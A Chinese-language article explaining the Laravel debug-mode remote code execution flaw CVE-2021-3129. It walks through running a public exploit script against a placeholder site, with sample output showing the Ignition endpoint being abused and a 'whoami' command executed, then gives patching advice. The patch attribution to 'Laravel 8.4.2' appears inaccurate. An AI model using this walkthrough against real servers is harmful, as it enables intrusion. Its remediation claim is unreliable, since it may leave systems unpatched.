2021 年 2 月,一名安全研究员在流行的 PHP 框架 Laravel 中发现了一个严重的安全漏洞。该漏洞被指定为 CVE-2021-3129,允许攻击者在运行易受攻击应用程序的服务器上执行任意代码,从而可能导致服务器被完全攻陷。

漏洞如何工作

该漏洞源于 Laravel 在“调试模式”下处理用户输入的方式存在缺陷。
调试模式是 Laravel 的一个功能,它允许开发者显示详细的错误信息,从而更容易诊断和排查代码中的问题。

然而,如果攻击者能够向处于调试模式的 Laravel 应用程序提交特制的输入,就可以利用此漏洞在服务器上执行任意代码。

概念验证

在本次概念验证中,我们将使用 Joshua van der Poll 创建的脚本来利用 Laravel 调试模式漏洞(CVE-2021-3129)。该漏洞影响基于 Windows 和 Linux 的 Laravel 网站。

你可以在 GitHub 上找到该脚本:joshuavanderpoll/CVE-2021-3129
该 Python 脚本会检查漏洞是否存在,并允许你在目标系统上执行命令。

开始之前,请从 GitHub 下载脚本,并按照 README.md 文件中的设置步骤进行操作。
脚本设置完成后,运行以下命令:

$ python3 CVE-2021-3129.py

你将看到如下输出:

Laravel Debug Mode CVE script
[•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129
[•] Using PHPGGC: https://github.com/ambionics/phpggc
[?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/
[@] Starting exploit on "https://unsafe_laravel_site.com/"...
[@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Windows based machine.
[√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log".
[•] Laravel version found: "7.30.4".
[•] Use "?" for a list of all possible actions.
[?] Please enter a command to execute:

当你看到该主机存在漏洞的提示后,你即可开始执行命令。例如:

execute whoami

将产生如下输出:

[@] Executing command "whoami"...
[@] Generating payloads...
[√] Generated 12 payloads.
[@] Trying chain laravel/rce1 [1/12]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[√] Result:

autorite nt\iusr

[?] Do you want to try the next chain? [Y/N] : n

如你所见,如果漏洞未被修补,脚本将允许你在目标系统上执行命令。这可能导致系统被完全攻陷或被植入后门。

如何修补该漏洞

Laravel 开发团队迅速发布了补丁,该补丁包含在 Laravel 8.4.2 版本中。
他们还发布了安全公告,敦促所有 Laravel 用户尽快更新自己的应用程序。

要升级你的 Laravel 项目,请在项目根目录运行以下命令:

composer update laravel/framework

此命令会将 Laravel 更新到最新版本,并包含 CVE-2021-3129 的补丁。

此外,务必确保生产环境中关闭调试模式。
 调试模式仅应用于开发和测试,不应在生产环境中启用。

总结

总而言之,CVE-2021-3129 是一个严重漏洞,它可能允许攻击者在运行易受攻击 Laravel 应用程序的服务器上执行任意代码。
该漏洞已在 Laravel 8.4.2 中修补,因此如果你使用的是旧版本,请务必尽快更新。

同时,请确保在生产环境中禁用调试模式,以最大限度降低被利用的风险。